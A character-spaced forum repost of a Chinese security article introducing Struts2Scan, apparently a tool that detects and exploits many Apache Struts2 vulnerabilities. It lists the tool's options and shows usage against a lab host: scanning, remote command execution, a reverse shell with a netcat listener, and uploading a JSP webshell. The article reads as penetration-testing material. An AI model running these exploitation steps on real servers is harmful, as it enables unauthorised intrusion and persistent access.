搜索

[22178] 2021-07-22_Struts2全漏洞扫描利用工具

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2021-07-22_Struts2全漏洞扫描利用工具 S t r u t s 2 全 漏 洞 扫 描 利 用 工 具 转 自 系 统 安 全 运 维   L e m o n S e c   2 0 2 1 - 0 7 - 2 2 S t r u t s 2 - S c a n S t r u t s 2 漏 洞 利 用 扫 描 工 具 ， 基 于 互 联 网 上 已 经 公 开 的 S t r u c t s 2 高 危 漏 洞 e x p 的 扫 描 利 用 工 具 ， 目 前 支 持 的 漏 洞 如 下 :   S 2 - 0 0 1 ,   S 2 - 0 0 3 ,   S 2 - 0 0 5 ,   S 2 - 0 0 7 ,   S 2 - 0 0 8 ,   S 2 - 0 0 9 ,   S 2 - 0 1 2 ,   S 2 - 0 1 3 ,   S 2 - 0 1 5 ,   S 2 - 0 1 6 ,   S 2 - 0 1 9 ,   S 2 - 0 2 9 ,   S 2 - 0 3 2 ,   S 2 - 0 3 3 ,   S 2 - 0 3 7 , S 2 - 0 4 5 ,   S 2 - 0 4 6 ,   S 2 - 0 4 8 ,   S 2 - 0 5 2 ,   S 2 - 0 5 3 ,   S 2 - d e v M o d e ,   S 2 - 0 5 7 支 持 单 个 U R L 漏 洞 检 测 和 批 量 U R L 检 测 ， 至 此 指 定 漏 洞 利 用 ， 可 获 取 W E B 路 径 ， 执 行 命 令 ， 反 弹 s h e l l 和 上 传 文 件 ， 注 意 ， 并 不 是 所 有 的 漏 洞 均 支 持 上 述 功 能 ， 只 有 部 分 功 能 支 持 行 环 境 行 环 境 P y t h o n 3 . 6 . X 及 其 以 上 版 本 第 三 方 库 :   c l i c k ,   r e q u e s t s ,   b s 4 测 试 环 境 :   U b u n t u   1 6 . 0 4 漏 洞 环 境 已 上 传 ， 参 考 地 址 ： h t t p s : / / g i t h u b . c o m / M e d i c e a n / V u l A p p s / t r e e / m a s t e r / s / s t r u t s 2 / h t t p s : / / g i t h u b . c o m / v u l h u b / v u l h u b / t r e e / m a s t e r / s t r u t s 2 工 具 参 数 说 明 工 具 参 数 说 明
使 用 例 子 使 用 例 子 查 看 漏 洞 详 细 信 息 查 看 漏 洞 详 细 信 息 : U s a g e :   S t r u t s 2 S c a n . p y   [ O P T I O N S ]     S t r u t s 2 批 量 扫 描 利 用 工 具 O p t i o n s :     - i ,   - - i n f o                     漏 洞 信 息 介 绍     - v ,   - - v e r s i o n               显 示 工 具 版 本     - u ,   - - u r l   T E X T             U R L 地 址     - n ,   - - n a m e   T E X T           指 定 漏 洞 名 称 ,   漏 洞 名 称 详 见 i n f o     - f ,   - - f i l e   T E X T           批 量 扫 描 U R L 文 件 ,   一 行 一 个 U R L     - d ,   - - d a t a   T E X T           P O S T 参 数 ,   需 要 使 用 的 p a y l o a d 使 用 { e x p } 填 充 ,   如 :   n a m e = t e s t & p a s s w d = { e x p }     - c ,   - - e n c o d e   T E X T       页 面 编 码 ,   默 认 U T F - 8 编 码     - p ,   - - p r o x y   T E X T         H T T P 代 理 .   格 式 为 h t t p : / / i p : p o r t     - t ,   - - t i m e o u t   T E X T     H T T P 超 时 时 间 ,   默 认 1 0 s     - w ,   - - w o r k e r s   T E X T     批 量 扫 描 进 程 数 ,   默 认 为 1 0 个 进 程     - - h e a d e r   T E X T               H T T P 请 求 头 ,   格 式 为 :   k e y 1 = v a l u e 1 & k e y 2 = v a l u e 2     - e ,   - - e x e c                     进 入 命 令 执 行 s h e l l     - - w e b p a t h                       获 取 W E B 路 径     - r ,   - - r e v e r s e   T E X T     反 弹 s h e l l 地 址 ,   格 式 为 i p : p o r t     - - u p f i l e   T E X T               需 要 上 传 的 文 件 路 径 和 名 称     - - u p p a t h   T E X T               上 传 的 目 录 和 名 称 ,   如 :   / u s r / l o c a l / t o m c a t / w e b a p p s / R O O T / s h e l l . j s p     - q ,   - - q u i e t                   关 闭 打 印 不 存 在 漏 洞 的 输 出 ， 只 保 留 存 在 漏 洞 的 输 出     - h ,   - - h e l p                     S h o w   t h i s   m e s s a g e   a n d   e x i t .
单 个 单 个 U R L 漏 洞 检 测 漏 洞 检 测 : 批 量 漏 洞 检 测 批 量 漏 洞 检 测 : P O S T 数 据 数 据 : $   p y t h o n 3   S t r u t s 2 S c a n . p y   - - i n f o   _ _ _ _     _                             _               _ _ _ _         _ _ _ _                                     /   _ _ _ | |   | _   _   _ _   _       _ |   | _   _ _ _ | _ _ _       /   _ _ _ |     _ _ _   _ _   _   _   _ _     _ _ _   |   _ _ |   ' _ _ |   |   |   |   _ _ /   _ _ |   _ _ )   |   _ _ _     /   _ _ /   _ `   |   ' _       _ _ _ )   |   | _ |   |     |   | _ |   |   | _ _ _   /   _ _ /       _ _ _ )   |   ( _ |   ( _ |   |   |   |   | | _ _ _ _ /   _ _ | _ |       _ _ , _ | _ _ | _ _ _ / _ _ _ _ _ |   | _ _ _ _ /   _ _ _ _ _ , _ | _ |   | _ |                                                                             A u t h o r   B y   H a t B o y                 [ + ]   支 持 如 下 S t r u t s 2 漏 洞 : [ + ]   S 2 - 0 0 1 : 影 响 版 本 S t r u t s   2 . 0 . 0 - 2 . 0 . 8 ;   P O S T 请 求 发 送 数 据 ;   默 认 参 数 为 : u s e r n a m e , p a s s w o r d ;   支 持 获 取 W E B 路 径 , 任 意 命 令 执 行 和 反 弹 s h e l l [ + ]   S 2 - 0 0 3 : 影 响 版 本 S t r u t s   2 . 0 . 0 - 2 . 0 . 1 1 . 2 ;   G E T 请 求 发 送 数 据 ;   支 持 任 意 命 令 执 行 [ + ]   S 2 - 0 0 5 : 影 响 版 本 S t r u t s   2 . 0 . 0 - 2 . 1 . 8 . 1 ;   G E T 请 求 发 送 数 据 ;   支 持 获 取 W E B 路 径 , 任 意 命 令 执 行 [ + ]   S 2 - 0 0 7 : 影 响 版 本 S t r u t s   2 . 0 . 0 - 2 . 2 . 3 ;   P O S T 请 求 发 送 数 据 ;   默 认 参 数 为 : u s e r n a m e , p a s s w o r d ;   支 持 任 意 命 令 执 行 和 反 弹 s h e l l [ + ]   S 2 - 0 0 8 : 影 响 版 本 S t r u t s   2 . 1 . 0 - 2 . 3 . 1 ;   G E T 请 求 发 送 数 据 ;   支 持 任 意 命 令 执 行 和 反 弹 s h e l l [ + ]   S 2 - 0 0 9 : 影 响 版 本 S t r u t s   2 . 0 . 0 - 2 . 3 . 1 . 1 ;   G E T 请 求 发 送 数 据 , U R L 后 面 需 要 请 求 参 数 名 ;   默 认 为 :   k e y ;   支 持 任 意 命 令 执 行 和 反 弹 s h e l l [ + ]   S 2 - 0 1 2 : 影 响 版 本 S t r u t s   S h o w c a s e   A p p   2 . 0 . 0 - 2 . 3 . 1 3 ;   G E T 请 求 发 送 数 据 , 参 数 直 接 添 加 到 U R L 后 面 ;   默 认 为 : n a m e ;   支 持 任 意 命 令 执 行 和 反 弹 s h e l l [ + ]   S 2 - 0 1 3 / S 2 - 0 1 4 : 影 响 版 本 S t r u t s   2 . 0 . 0 - 2 . 3 . 1 4 . 1 ;   G E T 请 求 发 送 数 据 ;   支 持 获 取 W E B 路 径 , 任 意 命 令 执 行 , 反 弹 s h e l l 和 文 件 上 传 [ + ]   S 2 - 0 1 5 : 影 响 版 本 S t r u t s   2 . 0 . 0 - 2 . 3 . 1 4 . 2 ;   G E T 请 求 发 送 数 据 ;   支 持 任 意 命 令 执 行 和 反 弹 s h e l l [ + ]   S 2 - 0 1 6 : 影 响 版 本 S t r u t s   2 . 0 . 0 - 2 . 3 . 1 5 ;   G E T 请 求 发 送 数 据 ;   支 持 获 取 W E B 路 径 , 任 意 命 令 执 行 , 反 弹 s h e l l 和 文 件 上 传 [ + ]   S 2 - 0 1 9 : 影 响 版 本 S t r u t s   2 . 0 . 0 - 2 . 3 . 1 5 . 1 ;   G E T 请 求 发 送 数 据 ;   支 持 获 取 W E B 路 径 , 任 意 命 令 执 行 , 反 弹 s h e l l 和 文 件 上 传 [ + ]   S 2 - 0 2 9 : 影 响 版 本 S t r u t s   2 . 0 . 0 - 2 . 3 . 2 4 . 1 ( 除 了 2 . 3 . 2 0 . 3 ) ;   P O S T 请 求 发 送 数 据 , 需 要 参 数 ;   默 认 参 数 : m e s s a g e ;   支 持 任 意 命 令 执 行 和 反 弹 s h e l l [ + ]   S 2 - 0 3 2 : 影 响 版 本 S t r u t s   2 . 3 . 2 0 - 2 . 3 . 2 8 ( 除 了 2 . 3 . 2 0 . 3 和 2 . 3 . 2 4 . 3 ) ;   G E T 请 求 发 送 数 据 ;   支 持 获 取 W E B 路 径 , 任 意 命 令 执 行 和 反 弹 s h e l l [ + ]   S 2 - 0 3 3 : 影 响 版 本 S t r u t s   2 . 3 . 2 0 - 2 . 3 . 2 8 ( 除 了 2 . 3 . 2 0 . 3 和 2 . 3 . 2 4 . 3 ) ;   G E T 请 求 发 送 数 据 ;   支 持 任 意 命 令 执 行 和 反 弹 s h e l l [ + ]   S 2 - 0 3 7 : 影 响 版 本 S t r u t s   2 . 3 . 2 0 - 2 . 3 . 2 8 . 1 ;   G E T 请 求 发 送 数 据 ;   支 持 获 取 W E B 路 径 , 任 意 命 令 执 行 和 反 弹 s h e l l [ + ]   S 2 - 0 4 5 : 影 响 版 本 S t r u t s   2 . 3 . 5 - 2 . 3 . 3 1 , 2 . 5 - 2 . 5 . 1 0 ;   P O S T 请 求 发 送 数 据 , 不 需 要 参 数 ;   支 持 获 取 W E B 路 径 , 任 意 命 令 执 行 , 反 弹 s h e l l 和 文 件 上 传 [ + ]   S 2 - 0 4 6 : 影 响 版 本 S t r u t s   2 . 3 . 5 - 2 . 3 . 3 1 , 2 . 5 - 2 . 5 . 1 0 ;   P O S T 请 求 发 送 数 据 , 不 需 要 参 数 ;   支 持 获 取 W E B 路 径 , 任 意 命 令 执 行 , 反 弹 s h e l l 和 文 件 上 传 [ + ]   S 2 - 0 4 8 : 影 响 版 本 S t r u t s   2 . 3 . x   w i t h   S t r u t s   1   p l u g i n   a n d   S t r u t s   1   a c t i o n ;   P O S T 请 求 发 送 数 据 ;   默 认 参 数 为 : u s e r n a m e , p a s s w o r d ;   支 持 任 意 命 令 执 行 和 反 弹 s h e l l [ + ]   S 2 - 0 5 3 : 影 响 版 本 S t r u t s   2 . 0 . 1 - 2 . 3 . 3 3 , 2 . 5 - 2 . 5 . 1 0 ;   P O S T 请 求 发 送 数 据 ;   默 认 参 数 为 : u s e r n a m e , p a s s w o r d ;   支 持 任 意 命 令 执 行 和 反 弹 s h e l l [ + ]   S 2 - d e v M o d e : 影 响 版 本 S t r u t s   2 . 1 . 0 - 2 . 3 . 1 ;   G E T 请 求 发 送 数 据 ;   支 持 获 取 W E B 路 径 , 任 意 命 令 执 行 和 反 弹 s h e l l $   p y t h o n 3   S t r u t s 2 S c a n . p y   - u   h t t p : / / 1 9 2 . 1 6 8 . 1 0 0 . 8 : 8 0 8 0 / i n d e x . a c t i o n   _ _ _ _     _                             _               _ _ _ _         _ _ _ _                                     /   _ _ _ | |   | _   _   _ _   _       _ |   | _   _ _ _ | _ _ _       /   _ _ _ |     _ _ _   _ _   _   _   _ _     _ _ _   |   _ _ |   ' _ _ |   |   |   |   _ _ /   _ _ |   _ _ )   |   _ _ _     /   _ _ /   _ `   |   ' _       _ _ _ )   |   | _ |   |     |   | _ |   |   | _ _ _   /   _ _ /       _ _ _ )   |   ( _ |   ( _ |   |   |   |   | | _ _ _ _ /   _ _ | _ |       _ _ , _ | _ _ | _ _ _ / _ _ _ _ _ |   | _ _ _ _ /   _ _ _ _ _ , _ | _ |   | _ |                                                                             A u t h o r   B y   H a t B o y                 [ + ]   正 在 扫 描 U R L : h t t p : / / 1 9 2 . 1 6 8 . 1 0 0 . 8 : 8 0 8 0 / i n d e x . a c t i o n [ * ]   - - - - - - - - - - - - - - - - r e s u l t s - - - - - - - - - - - - - - - - - - [ * ]   h t t p : / / 1 9 2 . 1 6 8 . 1 0 0 . 8 : 8 0 8 0 / i n d e x . a c t i o n   存 在 漏 洞 :   S 2 - 0 4 6 [ * ]   h t t p : / / 1 9 2 . 1 6 8 . 1 0 0 . 8 : 8 0 8 0 / i n d e x . a c t i o n   存 在 漏 洞 :   S 2 - 0 1 6 [ * ]   h t t p : / / 1 9 2 . 1 6 8 . 1 0 0 . 8 : 8 0 8 0 / i n d e x . a c t i o n   存 在 漏 洞 :   S 2 - 0 4 5 [ * ]   h t t p : / / 1 9 2 . 1 6 8 . 1 0 0 . 8 : 8 0 8 0 / i n d e x . a c t i o n   存 在 漏 洞 :   S 2 - 0 1 5 [ * ]   h t t p : / / 1 9 2 . 1 6 8 . 1 0 0 . 8 : 8 0 8 0 / i n d e x . a c t i o n   存 在 漏 洞 :   S 2 - 0 0 9 [ * ]   h t t p : / / 1 9 2 . 1 6 8 . 1 0 0 . 8 : 8 0 8 0 / i n d e x . a c t i o n   存 在 漏 洞 :   S 2 - 0 1 2 $   p y t h o n 3   S t r u t s 2 S c a n . p y   - f   u r l s . t x t
指 定 漏 洞 名 称 利 用 指 定 漏 洞 名 称 利 用 : $   p y t h o n 3   S t r u t s 2 S c a n . p y   - u   h t t p : / / 1 9 2 . 1 6 8 . 1 0 0 . 8 : 8 0 8 0 / i n d e x . a c t i o n   - d   n a m e = a d m i n & e m a i l = a d m i n & a g e = { e x p } #   命 令 执 行 $   p y t h o n 3   S t r u t s 2 S c a n . p y   - u   h t t p : / / 1 9 2 . 1 6 8 . 1 0 0 . 8 : 8 0 8 0 / i n d e x . a c t i o n   - n   S 2 - 0 1 6   - - e x e c   _ _ _ _     _                             _               _ _ _ _         _ _ _ _                                     /   _ _ _ | |   | _   _   _ _   _       _ |   | _   _ _ _ | _ _ _       /   _ _ _ |     _ _ _   _ _   _   _   _ _     _ _ _   |   _ _ |   ' _ _ |   |   |   |   _ _ /   _ _ |   _ _ )   |   _ _ _     /   _ _ /   _ `   |   ' _       _ _ _ )   |   | _ |   |     |   | _ |   |   | _ _ _   /   _ _ /       _ _ _ )   |   ( _ |   ( _ |   |   |   |   | | _ _ _ _ /   _ _ | _ |       _ _ , _ | _ _ | _ _ _ / _ _ _ _ _ |   | _ _ _ _ /   _ _ _ _ _ , _ | _ |   | _ |                                                                             A u t h o r   B y   H a t B o y                 > > > l s   - l a t o t a l   1 3 6 d r w x r - s r - x   1   r o o t   s t a f f     4 0 9 6   M a y     5     2 0 1 7   . d r w x r w s r - x   1   r o o t   s t a f f     4 0 9 6   M a y     5     2 0 1 7   . . - r w - r - - - - -   1   r o o t   r o o t     5 7 0 9 2   A p r   1 3     2 0 1 7   L I C E N S E - r w - r - - - - -   1   r o o t   r o o t       1 7 2 3   A p r   1 3     2 0 1 7   N O T I C E - r w - r - - - - -   1   r o o t   r o o t       7 0 6 4   A p r   1 3     2 0 1 7   R E L E A S E - N O T E S - r w - r - - - - -   1   r o o t   r o o t     1 5 9 4 6   A p r   1 3     2 0 1 7   R U N N I N G . t x t d r w x r - x - - -   1   r o o t   r o o t       4 0 9 6   M a y     5     2 0 1 7   b i n d r w x - - S - - -   1   r o o t   r o o t       4 0 9 6   J u l   1 2   1 4 : 5 4   c o n f d r w x r - s r - x   3   r o o t   s t a f f     4 0 9 6   M a y     5     2 0 1 7   i n c l u d e d r w x r - x - - -   2   r o o t   r o o t       4 0 9 6   M a y     5     2 0 1 7   l i b d r w x r - x - - -   1   r o o t   r o o t       4 0 9 6   J u l   1 2   1 4 : 5 4   l o g s d r w x r - s r - x   3   r o o t   s t a f f     4 0 9 6   M a y     5     2 0 1 7   n a t i v e - j n i - l i b d r w x r - x - - -   2   r o o t   r o o t       4 0 9 6   M a y     5     2 0 1 7   t e m p d r w x r - x - - -   1   r o o t   r o o t       4 0 9 6   J u l   1 2   1 4 : 5 4   w e b a p p s d r w x r - x - - -   1   r o o t   r o o t       4 0 9 6   J u l   1 2   1 4 : 5 4   w o r k > > > #   反 弹 s h l l $   p y t h o n 3   S t r u t s 2 S c a n . p y   - u   h t t p : / / 1 9 2 . 1 6 8 . 1 0 0 . 8 : 8 0 8 0 / i n d e x . a c t i o n   - n   S 2 - 0 1 6   - - r e v e r s e   1 9 2 . 1 6 8 . 1 0 0 . 8 : 8 8 8 8   _ _ _ _     _                             _               _ _ _ _         _ _ _ _                                     /   _ _ _ | |   | _   _   _ _   _       _ |   | _   _ _ _ | _ _ _       /   _ _ _ |     _ _ _   _ _   _   _   _ _     _ _ _   |   _ _ |   ' _ _ |   |   |   |   _ _ /   _ _ |   _ _ )   |   _ _ _     /   _ _ /   _ `   |   ' _       _ _ _ )   |   | _ |   |     |   | _ |   |   | _ _ _   /   _ _ /       _ _ _ )   |   ( _ |   ( _ |   |   |   |   | | _ _ _ _ /   _ _ | _ |       _ _ , _ | _ _ | _ _ _ / _ _ _ _ _ |   | _ _ _ _ /   _ _ _ _ _ , _ | _ |   | _ |                                                                             A u t h o r   B y   H a t B o y                 [ * ]   请 在 反 弹 地 址 处 监 听 端 口 如 :   n c   - l v v p   8 0 8 0 #   获 取 W E B 路 径 $   p y t h o n 3   S t r u t s 2 S c a n . p y   - u   h t t p : / / 1 9 2 . 1 6 8 . 1 0 0 . 8 : 8 0 8 0 / i n d e x . a c t i o n   - n   S 2 - 0 1 6   - - w e b p a t h   _ _ _ _     _                             _               _ _ _ _         _ _ _ _                                     /   _ _ _ | |   | _   _   _ _   _       _ |   | _   _ _ _ | _ _ _       /   _ _ _ |     _ _ _   _ _   _   _   _ _     _ _ _   |   _ _ |   ' _ _ |   |   |   |   _ _ /   _ _ |   _ _ )   |   _ _ _     /   _ _ /   _ `   |   ' _       _ _ _ )   |   | _ |   |     |   | _ |   |   | _ _ _   /   _ _ /       _ _ _ )   |   ( _ |   ( _ |   |   |   |   | | _ _ _ _ /   _ _ | _ |       _ _ , _ | _ _ | _ _ _ / _ _ _ _ _ |   | _ _ _ _ /   _ _ _ _ _ , _ | _ |   | _ |                                                                             A u t h o r   B y   H a t B o y                 [ * ]   / u s r / l o c a l / t o m c a t / w e b a p p s / R O O T / #   上 传 s h e l l $   p y t h o n 3   S t r u t s 2 S c a n . p y   - u   h t t p : / / 1 9 2 . 1 6 8 . 1 0 0 . 8 : 8 0 8 0 / i n d e x . a c t i o n   - n   S 2 - 0 1 6   - - u p f i l e   s h e l l . j s p   - - u p p a t h   / u s r / l o c a l / t o m c a t / w e b a p p s / R O O T / s h e l l . j s p
下 载 链 接 ， 公 众 号 内 回 复 “ 0 7 2 0 ” 获 取 工 具 包 渗 透 测 试 干 货   |   横 向 渗 透 的 常 见 方 法 一 次 通 过 漏 洞 挖 掘 成 功 渗 透 某 网 站 的 过 程 安 全 团 队 不 可 错 过 的 七 个 云 安 全 开 源 工 具 欢 迎 关 注 欢 迎 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦   _ _ _ _     _                             _               _ _ _ _         _ _ _ _                                     /   _ _ _ | |   | _   _   _ _   _       _ |   | _   _ _ _ | _ _ _       /   _ _ _ |     _ _ _   _ _   _   _   _ _     _ _ _   |   _ _ |   ' _ _ |   |   |   |   _ _ /   _ _ |   _ _ )   |   _ _ _     /   _ _ /   _ `   |   ' _       _ _ _ )   |   | _ |   |     |   | _ |   |   | _ _ _   /   _ _ /       _ _ _ )   |   ( _ |   ( _ |   |   |   |   | | _ _ _ _ /   _ _ | _ |       _ _ , _ | _ _ | _ _ _ / _ _ _ _ _ |   | _ _ _ _ /   _ _ _ _ _ , _ | _ |   | _ |                                                                             A u t h o r   B y   H a t B o y                 [ + ]   文 件 上 传 成 功 !
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理